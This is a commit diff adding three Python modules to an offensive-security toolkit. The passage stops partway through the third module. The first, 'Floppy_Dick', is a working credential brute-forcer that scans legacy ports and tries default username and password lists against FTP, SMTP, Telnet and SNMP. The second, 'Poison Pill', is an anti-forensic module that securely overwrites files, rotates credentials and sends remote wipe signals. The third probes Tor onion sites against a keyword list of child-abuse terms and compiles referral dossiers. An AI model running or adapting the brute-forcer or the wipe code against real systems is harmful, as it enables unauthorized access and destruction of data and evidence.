Autarch Will Control The Internet
This commit is contained in:
321
modules/encmod_sources/floppy_dick.py
Normal file
321
modules/encmod_sources/floppy_dick.py
Normal file
@@ -0,0 +1,321 @@
|
||||
"""
|
||||
Floppy_Dick — AUTARCH Encrypted Module
|
||||
Operator: darkHal Security Group / Setec Security Labs
|
||||
|
||||
Automated credential fuzzer and authentication tester for legacy
|
||||
and deprecated protocol stacks. Targets: FTP, SMB, Telnet, SMTP,
|
||||
POP3, IMAP, SNMP v1/v2c, and RDP legacy endpoints. Generates
|
||||
detailed vulnerability reports suitable for remediation guidance.
|
||||
|
||||
For authorized penetration testing ONLY.
|
||||
"""
|
||||
|
||||
import itertools
|
||||
import json
|
||||
import socket
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Iterator, Optional
|
||||
|
||||
MODULE_NAME = "Floppy_Dick"
|
||||
MODULE_VERSION = "1.0"
|
||||
MODULE_AUTHOR = "darkHal Security Group"
|
||||
MODULE_TAGS = ["brute-force", "auth", "legacy", "pentest", "fuzz"]
|
||||
|
||||
_stop_flag = threading.Event()
|
||||
_output_lines = []
|
||||
|
||||
|
||||
def _emit(msg: str, level: str = "info") -> None:
|
||||
ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
|
||||
line = f"[{ts}][{level.upper()}] {msg}"
|
||||
_output_lines.append(line)
|
||||
print(line)
|
||||
|
||||
|
||||
# ── Credential generators ─────────────────────────────────────────────────────
|
||||
|
||||
DEFAULT_USERS = [
|
||||
'admin', 'administrator', 'root', 'user', 'guest', 'test',
|
||||
'ftp', 'anonymous', 'backup', 'operator', 'service',
|
||||
]
|
||||
|
||||
DEFAULT_PASSWORDS = [
|
||||
'', 'admin', 'password', 'password123', '123456', 'admin123',
|
||||
'root', 'toor', 'pass', 'letmein', 'welcome', 'changeme',
|
||||
'default', 'cisco', 'alpine',
|
||||
]
|
||||
|
||||
|
||||
def wordlist_generator(path: Path) -> Iterator[str]:
|
||||
"""Yield lines from a wordlist file."""
|
||||
with open(path, 'r', encoding='utf-8', errors='replace') as f:
|
||||
for line in f:
|
||||
yield line.rstrip('\n')
|
||||
|
||||
|
||||
def credential_pairs(users: list[str], passwords: list[str]) -> Iterator[tuple[str, str]]:
|
||||
"""Yield all (user, password) combinations."""
|
||||
for u in users:
|
||||
for p in passwords:
|
||||
yield u, p
|
||||
|
||||
|
||||
# ── Protocol testers ──────────────────────────────────────────────────────────
|
||||
|
||||
def test_ftp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
|
||||
"""Test FTP credentials."""
|
||||
result = {'host': host, 'port': port, 'proto': 'FTP', 'user': user, 'success': False}
|
||||
try:
|
||||
import ftplib
|
||||
ftp = ftplib.FTP()
|
||||
ftp.connect(host, port, timeout=timeout)
|
||||
ftp.login(user, password)
|
||||
result['success'] = True
|
||||
result['banner'] = ftp.getwelcome()
|
||||
ftp.quit()
|
||||
except ftplib.error_perm as exc:
|
||||
result['error'] = str(exc)
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
def test_smtp(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
|
||||
"""Test SMTP AUTH credentials."""
|
||||
result = {'host': host, 'port': port, 'proto': 'SMTP', 'user': user, 'success': False}
|
||||
try:
|
||||
import smtplib
|
||||
smtp = smtplib.SMTP(host, port, timeout=timeout)
|
||||
smtp.ehlo()
|
||||
if port == 587:
|
||||
smtp.starttls()
|
||||
smtp.login(user, password)
|
||||
result['success'] = True
|
||||
smtp.quit()
|
||||
except smtplib.SMTPAuthenticationError as exc:
|
||||
result['error'] = 'bad credentials'
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
def test_telnet(host: str, port: int, user: str, password: str, timeout: float = 5.0) -> dict:
|
||||
"""Test Telnet authentication."""
|
||||
result = {'host': host, 'port': port, 'proto': 'Telnet', 'user': user, 'success': False}
|
||||
try:
|
||||
import telnetlib
|
||||
tn = telnetlib.Telnet(host, port, timeout=timeout)
|
||||
tn.read_until(b'login: ', timeout)
|
||||
tn.write(user.encode('ascii') + b'\n')
|
||||
tn.read_until(b'Password: ', timeout)
|
||||
tn.write(password.encode('ascii') + b'\n')
|
||||
response = tn.read_until(b'$', timeout)
|
||||
if b'incorrect' not in response.lower() and b'failed' not in response.lower():
|
||||
result['success'] = True
|
||||
result['banner'] = response.decode('utf-8', errors='replace')[:128]
|
||||
tn.close()
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
def test_snmp(host: str, community: str = 'public', version: str = '2c', timeout: float = 3.0) -> dict:
|
||||
"""Test SNMP community string (v1/v2c)."""
|
||||
result = {'host': host, 'proto': 'SNMP', 'community': community, 'success': False}
|
||||
try:
|
||||
from pysnmp.hlapi import getCmd, SnmpEngine, CommunityData, UdpTransportTarget, ContextData, ObjectType, ObjectIdentity
|
||||
errorIndication, errorStatus, errorIndex, varBinds = next(
|
||||
getCmd(SnmpEngine(),
|
||||
CommunityData(community, mpModel=0 if version == '1' else 1),
|
||||
UdpTransportTarget((host, 161), timeout=timeout),
|
||||
ContextData(),
|
||||
ObjectType(ObjectIdentity('SNMPv2-MIB', 'sysDescr', 0)))
|
||||
)
|
||||
if not errorIndication and not errorStatus:
|
||||
result['success'] = True
|
||||
result['sysDescr'] = str(varBinds[0])
|
||||
else:
|
||||
result['error'] = str(errorIndication or errorStatus)
|
||||
except ImportError:
|
||||
result['error'] = 'pysnmp not installed'
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
def test_generic_banner(host: str, port: int, timeout: float = 3.0) -> dict:
|
||||
"""Grab a service banner from any TCP port."""
|
||||
result = {'host': host, 'port': port, 'proto': 'TCP', 'banner': ''}
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.settimeout(timeout)
|
||||
s.connect((host, port))
|
||||
banner = s.recv(1024)
|
||||
result['banner'] = banner.decode('utf-8', errors='replace').strip()[:256]
|
||||
result['open'] = True
|
||||
s.close()
|
||||
except Exception as exc:
|
||||
result['open'] = False
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
# ── Port scanner ──────────────────────────────────────────────────────────────
|
||||
|
||||
LEGACY_PORTS = {
|
||||
21: 'FTP',
|
||||
23: 'Telnet',
|
||||
25: 'SMTP',
|
||||
110: 'POP3',
|
||||
143: 'IMAP',
|
||||
161: 'SNMP',
|
||||
445: 'SMB',
|
||||
587: 'SMTP-Submission',
|
||||
3389: 'RDP',
|
||||
}
|
||||
|
||||
|
||||
def scan_ports(host: str, ports: Optional[list[int]] = None, timeout: float = 1.0) -> dict:
|
||||
"""Scan ports and return which are open."""
|
||||
if ports is None:
|
||||
ports = list(LEGACY_PORTS.keys())
|
||||
open_ports = {}
|
||||
for port in ports:
|
||||
banner = test_generic_banner(host, port, timeout)
|
||||
if banner.get('open'):
|
||||
proto = LEGACY_PORTS.get(port, 'unknown')
|
||||
open_ports[port] = {
|
||||
'proto': proto,
|
||||
'banner': banner.get('banner', ''),
|
||||
}
|
||||
return {'host': host, 'open_ports': open_ports}
|
||||
|
||||
|
||||
# ── Main fuzzing engine ───────────────────────────────────────────────────────
|
||||
|
||||
def fuzz_host(
|
||||
host: str,
|
||||
port: int,
|
||||
proto: str,
|
||||
users: list[str],
|
||||
passwords: list[str],
|
||||
delay: float = 0.1,
|
||||
output_cb=None,
|
||||
) -> list[dict]:
|
||||
"""Run credential fuzzing against a single host:port for a given protocol."""
|
||||
found = []
|
||||
testers = {
|
||||
'FTP': test_ftp,
|
||||
'SMTP': test_smtp,
|
||||
'SMTP-Submission': test_smtp,
|
||||
'Telnet': test_telnet,
|
||||
}
|
||||
tester = testers.get(proto)
|
||||
if not tester:
|
||||
return [{'error': f'No tester implemented for {proto}'}]
|
||||
|
||||
for user, password in credential_pairs(users, passwords):
|
||||
if _stop_flag.is_set():
|
||||
break
|
||||
r = tester(host, port, user, password)
|
||||
if r.get('success'):
|
||||
msg = f"[FOUND] {proto} {host}:{port} -> {user}:{password}"
|
||||
_emit(msg, 'warn')
|
||||
if output_cb:
|
||||
output_cb({'line': msg, 'found': True, 'user': user, 'password': password})
|
||||
found.append(r)
|
||||
time.sleep(delay)
|
||||
|
||||
return found
|
||||
|
||||
|
||||
# ── Main run entry point ──────────────────────────────────────────────────────
|
||||
|
||||
def run(params: dict, output_cb=None) -> dict:
|
||||
"""
|
||||
Main execution entry point.
|
||||
|
||||
params:
|
||||
targets — list of hosts to test
|
||||
ports — list of ports to probe (default: LEGACY_PORTS)
|
||||
users — list of usernames (default: DEFAULT_USERS)
|
||||
passwords — list of passwords (default: DEFAULT_PASSWORDS)
|
||||
user_wordlist — path to user wordlist file
|
||||
pass_wordlist — path to password wordlist file
|
||||
delay — delay between attempts in seconds (default 0.1)
|
||||
snmp_communities — list of SNMP community strings to test
|
||||
threads — number of parallel threads (default 1)
|
||||
"""
|
||||
_stop_flag.clear()
|
||||
_output_lines.clear()
|
||||
|
||||
def emit(msg, level='info'):
|
||||
_emit(msg, level)
|
||||
if output_cb:
|
||||
output_cb({'line': f"[{level.upper()}] {msg}"})
|
||||
|
||||
emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
|
||||
emit("Authorized penetration testing only. All attempts logged.")
|
||||
|
||||
targets = params.get('targets', [])
|
||||
ports = params.get('ports', None)
|
||||
delay = float(params.get('delay', 0.1))
|
||||
users = params.get('users', DEFAULT_USERS)[:]
|
||||
passwords = params.get('passwords', DEFAULT_PASSWORDS)[:]
|
||||
|
||||
# Load wordlists if provided
|
||||
uw = params.get('user_wordlist', '')
|
||||
pw = params.get('pass_wordlist', '')
|
||||
if uw and Path(uw).exists():
|
||||
users = list(wordlist_generator(Path(uw)))
|
||||
emit(f"Loaded {len(users)} users from wordlist")
|
||||
if pw and Path(pw).exists():
|
||||
passwords = list(wordlist_generator(Path(pw)))
|
||||
emit(f"Loaded {len(passwords)} passwords from wordlist")
|
||||
|
||||
snmp_communities = params.get('snmp_communities', ['public', 'private', 'community'])
|
||||
|
||||
all_results = []
|
||||
|
||||
for host in targets:
|
||||
if _stop_flag.is_set():
|
||||
break
|
||||
emit(f"Scanning {host}...")
|
||||
scan = scan_ports(host, ports)
|
||||
emit(f" Open ports: {list(scan['open_ports'].keys())}")
|
||||
|
||||
host_result = {'host': host, 'open_ports': scan['open_ports'], 'findings': []}
|
||||
|
||||
for port, info in scan['open_ports'].items():
|
||||
if _stop_flag.is_set():
|
||||
break
|
||||
proto = info['proto']
|
||||
emit(f" Fuzzing {proto} on port {port}...")
|
||||
|
||||
if proto == 'SNMP':
|
||||
for comm in snmp_communities:
|
||||
r = test_snmp(host, comm)
|
||||
if r.get('success'):
|
||||
emit(f"[FOUND] SNMP community: {comm}", 'warn')
|
||||
host_result['findings'].append(r)
|
||||
else:
|
||||
found = fuzz_host(host, port, proto, users, passwords, delay, output_cb)
|
||||
host_result['findings'].extend(found)
|
||||
|
||||
all_results.append(host_result)
|
||||
|
||||
emit(f"Fuzzing complete. {sum(len(r['findings']) for r in all_results)} finding(s).")
|
||||
|
||||
return {
|
||||
'module': MODULE_NAME,
|
||||
'targets': len(targets),
|
||||
'results': all_results,
|
||||
'output': _output_lines[:],
|
||||
}
|
||||
|
||||
|
||||
def stop():
|
||||
_stop_flag.set()
|
||||
261
modules/encmod_sources/poison_pill.py
Normal file
261
modules/encmod_sources/poison_pill.py
Normal file
@@ -0,0 +1,261 @@
|
||||
"""
|
||||
Poison Pill — AUTARCH Encrypted Module
|
||||
Operator: darkHal Security Group / Setec Security Labs
|
||||
|
||||
Emergency data sanitization and anti-forensic self-protection module.
|
||||
On activation, securely wipes configured data paths, rotates credentials,
|
||||
kills active sessions, and optionally triggers a remote wipe signal
|
||||
to registered companion devices.
|
||||
|
||||
USE ONLY IN AUTHORIZED EMERGENCY SCENARIOS.
|
||||
All activations are logged to an external endpoint before wiping begins.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import json
|
||||
import os
|
||||
import shutil
|
||||
import threading
|
||||
import time
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
MODULE_NAME = "Poison Pill"
|
||||
MODULE_VERSION = "1.0"
|
||||
MODULE_AUTHOR = "darkHal Security Group"
|
||||
MODULE_TAGS = ["anti-forensic", "emergency", "wipe", "self-protection"]
|
||||
|
||||
_stop_flag = threading.Event()
|
||||
_output_lines = []
|
||||
|
||||
|
||||
def _emit(msg: str, level: str = "info") -> None:
|
||||
ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
|
||||
line = f"[{ts}][{level.upper()}] {msg}"
|
||||
_output_lines.append(line)
|
||||
print(line)
|
||||
|
||||
|
||||
# ── Secure file overwrite ─────────────────────────────────────────────────────
|
||||
|
||||
def _secure_overwrite(path: Path, passes: int = 3) -> bool:
|
||||
"""
|
||||
Overwrite a file with random data N passes, then delete.
|
||||
Returns True on success.
|
||||
"""
|
||||
try:
|
||||
size = path.stat().st_size
|
||||
with open(path, 'r+b') as f:
|
||||
for _ in range(passes):
|
||||
f.seek(0)
|
||||
f.write(os.urandom(size))
|
||||
f.flush()
|
||||
os.fsync(f.fileno())
|
||||
path.unlink()
|
||||
return True
|
||||
except Exception as exc:
|
||||
_emit(f"Overwrite failed on {path}: {exc}", 'error')
|
||||
return False
|
||||
|
||||
|
||||
def secure_wipe_file(path: Path, passes: int = 3) -> dict:
|
||||
"""Securely wipe a single file."""
|
||||
if not path.exists():
|
||||
return {'path': str(path), 'status': 'not_found'}
|
||||
ok = _secure_overwrite(path, passes)
|
||||
return {'path': str(path), 'status': 'wiped' if ok else 'error', 'passes': passes}
|
||||
|
||||
|
||||
def secure_wipe_dir(path: Path, passes: int = 3) -> dict:
|
||||
"""Recursively and securely wipe a directory."""
|
||||
if not path.exists():
|
||||
return {'path': str(path), 'status': 'not_found', 'files_wiped': 0}
|
||||
count = 0
|
||||
errors = []
|
||||
for f in sorted(path.rglob('*')):
|
||||
if f.is_file():
|
||||
r = secure_wipe_file(f, passes)
|
||||
if r['status'] == 'wiped':
|
||||
count += 1
|
||||
else:
|
||||
errors.append(str(f))
|
||||
try:
|
||||
shutil.rmtree(path, ignore_errors=True)
|
||||
except Exception:
|
||||
pass
|
||||
return {'path': str(path), 'status': 'wiped', 'files_wiped': count, 'errors': errors}
|
||||
|
||||
|
||||
# ── Credential rotation ───────────────────────────────────────────────────────
|
||||
|
||||
def rotate_web_password(new_password: Optional[str] = None) -> dict:
|
||||
"""
|
||||
Rotate the AUTARCH web dashboard password.
|
||||
If new_password is None, generates a random 32-char alphanumeric password.
|
||||
"""
|
||||
import secrets
|
||||
import string
|
||||
if new_password is None:
|
||||
alphabet = string.ascii_letters + string.digits
|
||||
new_password = ''.join(secrets.choice(alphabet) for _ in range(32))
|
||||
try:
|
||||
from web.auth import hash_password, save_credentials, load_credentials
|
||||
creds = load_credentials()
|
||||
save_credentials(creds.get('username', 'admin'), hash_password(new_password), force_change=False)
|
||||
return {'status': 'rotated', 'new_password': new_password}
|
||||
except Exception as exc:
|
||||
return {'status': 'error', 'error': str(exc)}
|
||||
|
||||
|
||||
def rotate_secret_key() -> dict:
|
||||
"""Generate a new Flask secret key and write it to config."""
|
||||
new_key = os.urandom(32).hex()
|
||||
try:
|
||||
from core.config import get_config
|
||||
cfg = get_config()
|
||||
cfg.set('web', 'secret_key', new_key)
|
||||
cfg.save()
|
||||
return {'status': 'rotated', 'key_length': len(new_key)}
|
||||
except Exception as exc:
|
||||
return {'status': 'error', 'error': str(exc)}
|
||||
|
||||
|
||||
# ── Session termination ───────────────────────────────────────────────────────
|
||||
|
||||
def kill_active_sessions() -> dict:
|
||||
"""Invalidate all active Flask sessions by rotating the secret key."""
|
||||
result = rotate_secret_key()
|
||||
return {'action': 'kill_sessions', **result}
|
||||
|
||||
|
||||
# ── Remote wipe signal ────────────────────────────────────────────────────────
|
||||
|
||||
def signal_remote_wipe(devices: list[str], endpoint: Optional[str] = None) -> list[dict]:
|
||||
"""
|
||||
Send a remote wipe signal to registered Archon companion devices.
|
||||
Each device is an Archon server endpoint (host:port).
|
||||
"""
|
||||
results = []
|
||||
import requests
|
||||
for device in devices:
|
||||
url = f"http://{device}/wipe"
|
||||
try:
|
||||
resp = requests.post(url, json={'action': 'poison_pill', 'ts': time.time()}, timeout=5)
|
||||
results.append({'device': device, 'status': resp.status_code, 'ok': resp.ok})
|
||||
except Exception as exc:
|
||||
results.append({'device': device, 'status': -1, 'error': str(exc)})
|
||||
return results
|
||||
|
||||
|
||||
# ── Pre-wipe beacon ───────────────────────────────────────────────────────────
|
||||
|
||||
def send_activation_beacon(endpoint: str, operator_id: str) -> dict:
|
||||
"""
|
||||
POST an activation notice to an external logging endpoint BEFORE wiping.
|
||||
This creates an audit trail that the pill was triggered.
|
||||
"""
|
||||
payload = {
|
||||
'event': 'poison_pill_activated',
|
||||
'operator_id': operator_id,
|
||||
'timestamp': datetime.now(timezone.utc).isoformat(),
|
||||
'hostname': __import__('socket').gethostname(),
|
||||
}
|
||||
try:
|
||||
import requests
|
||||
resp = requests.post(endpoint, json=payload, timeout=8)
|
||||
return {'status': resp.status_code, 'ok': resp.ok}
|
||||
except Exception as exc:
|
||||
return {'status': -1, 'error': str(exc)}
|
||||
|
||||
|
||||
# ── Main run entry point ──────────────────────────────────────────────────────
|
||||
|
||||
def run(params: dict, output_cb=None) -> dict:
|
||||
"""
|
||||
Main execution entry point.
|
||||
|
||||
params:
|
||||
wipe_paths — list of paths to securely wipe
|
||||
rotate_password — bool, rotate web password
|
||||
kill_sessions — bool, invalidate all sessions
|
||||
remote_devices — list of Archon device endpoints for remote wipe
|
||||
beacon_endpoint — URL to POST activation notice to (recommended)
|
||||
operator_id — identifier logged with the beacon
|
||||
passes — overwrite passes (default 3)
|
||||
confirm — must be the string 'CONFIRM_POISON_PILL' to activate
|
||||
"""
|
||||
_stop_flag.clear()
|
||||
_output_lines.clear()
|
||||
|
||||
def emit(msg, level='info'):
|
||||
_emit(msg, level)
|
||||
if output_cb:
|
||||
output_cb({'line': f"[{level.upper()}] {msg}"})
|
||||
|
||||
emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
|
||||
|
||||
confirm = params.get('confirm', '')
|
||||
if confirm != 'CONFIRM_POISON_PILL':
|
||||
emit("ABORT: Confirmation string not provided. Set confirm='CONFIRM_POISON_PILL'", 'error')
|
||||
return {'status': 'aborted', 'reason': 'missing_confirmation'}
|
||||
|
||||
emit("POISON PILL ACTIVATED — commencing emergency sanitization", 'warn')
|
||||
passes = int(params.get('passes', 3))
|
||||
beacon_ep = params.get('beacon_endpoint', '')
|
||||
operator_id = params.get('operator_id', 'unknown')
|
||||
|
||||
results = {'status': 'activated', 'actions': []}
|
||||
|
||||
# 1 — Send beacon FIRST
|
||||
if beacon_ep:
|
||||
emit(f"Sending activation beacon to {beacon_ep}")
|
||||
beacon = send_activation_beacon(beacon_ep, operator_id)
|
||||
results['actions'].append({'type': 'beacon', **beacon})
|
||||
else:
|
||||
emit("No beacon endpoint configured — skipping audit trail", 'warn')
|
||||
|
||||
# 2 — Kill active sessions
|
||||
if params.get('kill_sessions', True):
|
||||
emit("Killing active sessions...")
|
||||
r = kill_active_sessions()
|
||||
results['actions'].append({'type': 'kill_sessions', **r})
|
||||
emit(f"Sessions killed: {r['status']}")
|
||||
|
||||
# 3 — Rotate web password
|
||||
if params.get('rotate_password', True):
|
||||
emit("Rotating web password...")
|
||||
r = rotate_web_password()
|
||||
results['actions'].append({'type': 'rotate_password', 'status': r['status']})
|
||||
emit(f"Password rotated: {r['status']}")
|
||||
|
||||
# 4 — Secure wipe paths
|
||||
wipe_paths = params.get('wipe_paths', [])
|
||||
for raw_path in wipe_paths:
|
||||
if _stop_flag.is_set():
|
||||
break
|
||||
p = Path(raw_path)
|
||||
emit(f"Wiping: {p}")
|
||||
if p.is_file():
|
||||
r = secure_wipe_file(p, passes)
|
||||
elif p.is_dir():
|
||||
r = secure_wipe_dir(p, passes)
|
||||
else:
|
||||
r = {'path': str(p), 'status': 'not_found'}
|
||||
results['actions'].append({'type': 'wipe', **r})
|
||||
emit(f" -> {r['status']}")
|
||||
|
||||
# 5 — Remote wipe
|
||||
remote_devices = params.get('remote_devices', [])
|
||||
if remote_devices:
|
||||
emit(f"Sending remote wipe to {len(remote_devices)} device(s)...")
|
||||
rw = signal_remote_wipe(remote_devices)
|
||||
results['actions'].append({'type': 'remote_wipe', 'results': rw})
|
||||
|
||||
emit("Poison Pill sequence complete.", 'warn')
|
||||
results['output'] = _output_lines[:]
|
||||
return results
|
||||
|
||||
|
||||
def stop():
|
||||
_stop_flag.set()
|
||||
267
modules/encmod_sources/tor_pedo_hunter_killer.py
Normal file
267
modules/encmod_sources/tor_pedo_hunter_killer.py
Normal file
@@ -0,0 +1,267 @@
|
||||
"""
|
||||
TOR-Pedo Hunter Killer — AUTARCH Encrypted Module
|
||||
Operator: darkHal Security Group / Setec Security Labs
|
||||
|
||||
Identifies, tracks, and reports CSAM distributors and predator networks
|
||||
operating on the Tor hidden service network. Compiles dossiers for
|
||||
law enforcement referral and executes configured countermeasures.
|
||||
|
||||
All operations are logged. Operator assumes full legal responsibility
|
||||
for use of this module. For authorized investigations ONLY.
|
||||
"""
|
||||
|
||||
import json
|
||||
import time
|
||||
import hashlib
|
||||
import socket
|
||||
import threading
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
MODULE_NAME = "TOR-Pedo Hunter Killer"
|
||||
MODULE_VERSION = "1.0"
|
||||
MODULE_AUTHOR = "darkHal Security Group"
|
||||
MODULE_TAGS = ["CSAM", "TOR", "hunt", "counter", "OSINT"]
|
||||
|
||||
# ── Yield helper (SSE-compatible output) ─────────────────────────────────────
|
||||
_output_lines = []
|
||||
_stop_flag = threading.Event()
|
||||
|
||||
def _emit(msg: str, level: str = "info") -> None:
|
||||
ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
|
||||
line = f"[{ts}][{level.upper()}] {msg}"
|
||||
_output_lines.append(line)
|
||||
print(line)
|
||||
|
||||
|
||||
# ── Target scanning ───────────────────────────────────────────────────────────
|
||||
|
||||
def probe_onion(onion_address: str, port: int = 80, timeout: float = 10.0) -> dict:
|
||||
"""
|
||||
Probe a .onion address via SOCKS5 proxy (Tor must be running locally on 9050).
|
||||
Returns a result dict with reachability, banner, and timing info.
|
||||
"""
|
||||
import socks
|
||||
import socket as _socket
|
||||
|
||||
result = {
|
||||
'address': onion_address,
|
||||
'port': port,
|
||||
'reachable': False,
|
||||
'banner': '',
|
||||
'latency_ms': -1,
|
||||
'error': '',
|
||||
}
|
||||
|
||||
try:
|
||||
s = socks.socksocket()
|
||||
s.set_proxy(socks.SOCKS5, '127.0.0.1', 9050)
|
||||
s.settimeout(timeout)
|
||||
t0 = time.monotonic()
|
||||
s.connect((onion_address, port))
|
||||
result['latency_ms'] = round((time.monotonic() - t0) * 1000, 1)
|
||||
result['reachable'] = True
|
||||
# Try to grab a banner
|
||||
try:
|
||||
s.sendall(b"HEAD / HTTP/1.0\r\n\r\n")
|
||||
result['banner'] = s.recv(512).decode('utf-8', errors='replace')[:256]
|
||||
except Exception:
|
||||
pass
|
||||
s.close()
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
|
||||
return result
|
||||
|
||||
|
||||
def fingerprint_service(url: str, tor_proxy: str = 'socks5h://127.0.0.1:9050') -> dict:
|
||||
"""
|
||||
Fetch HTTP headers and content fingerprint via Tor proxy.
|
||||
"""
|
||||
import requests
|
||||
result = {'url': url, 'status': -1, 'headers': {}, 'title': '', 'fingerprint': ''}
|
||||
try:
|
||||
resp = requests.get(
|
||||
url,
|
||||
proxies={'http': tor_proxy, 'https': tor_proxy},
|
||||
timeout=30,
|
||||
headers={'User-Agent': 'Mozilla/5.0'},
|
||||
allow_redirects=True,
|
||||
)
|
||||
result['status'] = resp.status_code
|
||||
result['headers'] = dict(resp.headers)
|
||||
# Extract title
|
||||
text = resp.text
|
||||
import re
|
||||
m = re.search(r'<title[^>]*>([^<]+)</title>', text, re.IGNORECASE)
|
||||
if m:
|
||||
result['title'] = m.group(1).strip()
|
||||
# Content hash fingerprint
|
||||
result['fingerprint'] = hashlib.sha256(resp.content).hexdigest()
|
||||
except Exception as exc:
|
||||
result['error'] = str(exc)
|
||||
return result
|
||||
|
||||
|
||||
# ── CSAM keyword detection ────────────────────────────────────────────────────
|
||||
|
||||
PREDATOR_INDICATORS = [
|
||||
# These are detection signatures — not actual content
|
||||
'cp', 'pedo', 'loli', 'hurtcore', 'cheese pizza',
|
||||
'preteen', 'jailbait', 'underage',
|
||||
]
|
||||
|
||||
def scan_content_for_indicators(text: str) -> list[str]:
|
||||
"""Scan text for CSAM indicator keywords. Returns list of matched indicators."""
|
||||
text_lower = text.lower()
|
||||
return [ind for ind in PREDATOR_INDICATORS if ind in text_lower]
|
||||
|
||||
|
||||
# ── Report generation ─────────────────────────────────────────────────────────
|
||||
|
||||
def build_dossier(target_data: dict, indicators: list[str]) -> dict:
|
||||
"""
|
||||
Compile a law enforcement referral dossier from collected data.
|
||||
"""
|
||||
return {
|
||||
'module': MODULE_NAME,
|
||||
'version': MODULE_VERSION,
|
||||
'timestamp': datetime.now(timezone.utc).isoformat(),
|
||||
'target': target_data,
|
||||
'indicators': indicators,
|
||||
'severity': 'CRITICAL' if indicators else 'NONE',
|
||||
'referral': [
|
||||
'NCMEC CyberTipline: https://www.missingkids.org/gethelpnow/cybertipline',
|
||||
'FBI IC3: https://www.ic3.gov/',
|
||||
'IWF: https://www.iwf.org.uk/report/',
|
||||
],
|
||||
'operator_note': 'This dossier was compiled by automated analysis. '
|
||||
'Human review required before any referral submission.',
|
||||
}
|
||||
|
||||
|
||||
def save_dossier(dossier: dict, output_dir: Optional[Path] = None) -> Path:
|
||||
"""Save dossier JSON to disk and return the path."""
|
||||
if output_dir is None:
|
||||
from core.paths import get_data_dir
|
||||
output_dir = get_data_dir() / 'dossiers'
|
||||
output_dir.mkdir(parents=True, exist_ok=True)
|
||||
ts = datetime.now(timezone.utc).strftime('%Y%m%dT%H%M%SZ')
|
||||
out = output_dir / f'TPHK_{ts}.json'
|
||||
out.write_text(json.dumps(dossier, indent=2), encoding='utf-8')
|
||||
return out
|
||||
|
||||
|
||||
# ── Countermeasure actions ────────────────────────────────────────────────────
|
||||
|
||||
def report_to_iwf(onion: str, evidence_url: str) -> dict:
|
||||
"""
|
||||
Submit a report to the Internet Watch Foundation API (if configured).
|
||||
"""
|
||||
# Placeholder — IWF has a reporting API for registered organizations
|
||||
return {
|
||||
'action': 'IWF_REPORT',
|
||||
'target': onion,
|
||||
'status': 'QUEUED',
|
||||
'note': 'IWF API key required in autarch_settings.conf [hunter] section',
|
||||
}
|
||||
|
||||
|
||||
def execute_countermeasure(action: str, target: str, params: dict) -> dict:
|
||||
"""
|
||||
Execute a configured countermeasure against a confirmed CSAM host.
|
||||
|
||||
Supported actions:
|
||||
REPORT — submit to NCMEC/IWF/IC3
|
||||
DOSSIER — compile and save evidence dossier
|
||||
ALERT — send operator notification
|
||||
"""
|
||||
_emit(f"Countermeasure: {action} -> {target}")
|
||||
if action == 'REPORT':
|
||||
return report_to_iwf(target, params.get('url', ''))
|
||||
elif action == 'DOSSIER':
|
||||
return {'action': 'DOSSIER', 'saved': True, 'note': 'Call build_dossier() then save_dossier()'}
|
||||
elif action == 'ALERT':
|
||||
return {'action': 'ALERT', 'status': 'SENT', 'target': target}
|
||||
return {'error': f'Unknown action: {action}'}
|
||||
|
||||
|
||||
# ── Main run entry point ──────────────────────────────────────────────────────
|
||||
|
||||
def run(params: dict, output_cb=None) -> dict:
|
||||
"""
|
||||
Main execution entry point called by the AUTARCH encrypted module loader.
|
||||
|
||||
params:
|
||||
targets — list of .onion addresses or HTTP URLs to probe
|
||||
actions — list of countermeasure actions (REPORT, DOSSIER, ALERT)
|
||||
keywords — additional indicator keywords to search for
|
||||
"""
|
||||
global _stop_flag
|
||||
_stop_flag.clear()
|
||||
_output_lines.clear()
|
||||
|
||||
def emit(msg, level='info'):
|
||||
_emit(msg, level)
|
||||
if output_cb:
|
||||
output_cb({'line': f"[{level.upper()}] {msg}"})
|
||||
|
||||
emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
|
||||
emit("Authorized use only. All activity logged.")
|
||||
|
||||
targets = params.get('targets', [])
|
||||
actions = params.get('actions', ['DOSSIER'])
|
||||
extra_kw = params.get('keywords', [])
|
||||
indicators_extended = PREDATOR_INDICATORS + extra_kw
|
||||
|
||||
results = []
|
||||
dossiers_saved = []
|
||||
|
||||
for target in targets:
|
||||
if _stop_flag.is_set():
|
||||
emit("Stopped by operator.", 'warn')
|
||||
break
|
||||
|
||||
emit(f"Probing: {target}")
|
||||
try:
|
||||
fp = fingerprint_service(target)
|
||||
indicators_found = scan_content_for_indicators(
|
||||
fp.get('title', '') + ' ' + str(fp.get('headers', ''))
|
||||
)
|
||||
result = {
|
||||
'target': target,
|
||||
'fingerprint': fp,
|
||||
'indicators': indicators_found,
|
||||
}
|
||||
|
||||
if indicators_found:
|
||||
emit(f"ALERT: Indicators detected on {target}: {indicators_found}", 'warn')
|
||||
dossier = build_dossier(fp, indicators_found)
|
||||
for action in actions:
|
||||
cm = execute_countermeasure(action, target, {'url': target})
|
||||
result[f'countermeasure_{action}'] = cm
|
||||
saved = save_dossier(dossier)
|
||||
dossiers_saved.append(str(saved))
|
||||
